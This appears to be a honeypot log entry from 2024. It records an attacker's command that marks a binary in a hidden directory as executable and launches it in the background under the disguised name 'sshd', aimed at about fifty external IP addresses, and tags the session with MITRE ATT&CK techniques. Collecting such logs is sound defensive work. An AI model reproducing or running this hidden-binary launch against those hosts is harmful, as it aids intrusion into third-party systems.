Honeypot attack session (period 2024), commands issued:
chmod +x ./.364946938685281127/sshd;nohup ./.364946938685281127/sshd 154.126.176.254 198.12.92.218 198.44.170.107 45.192.69.176 44.223.70.14 77.91.78.243 117.161.233.102 45.192.77.160 13.57.221.80 188.165.194.74 31.28.15.10 45.192.65.176 208.65.84.165 43.248.100.237 13.42.129.207 180.97.220.14 117.250.10.204 113.125.127.139 45.192.73.146 45.192.69.147 202.133.88.34 45.192.65.138 124.118.249.114 51.112.127.89 45.192.69.132 45.192.69.135 15.206.94.156 183.131.22.164 45.192.65.157 45.192.65.148 45.192.73.140 45.192.73.129 183.221.214.95 45.192.69.158 45.192.65.143 45.192.65.167 133.114.195.200 122.115.233.175 103.36.193.32 74.48.217.202 45.192.65.137 176.226.153.190 193.233.49.204 210.209.186.117 183.252.11.28 49.12.44.113 193.203.161.58 45.192.73.142 222.77.96.4 45.192.77.135 62.72.1.151 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter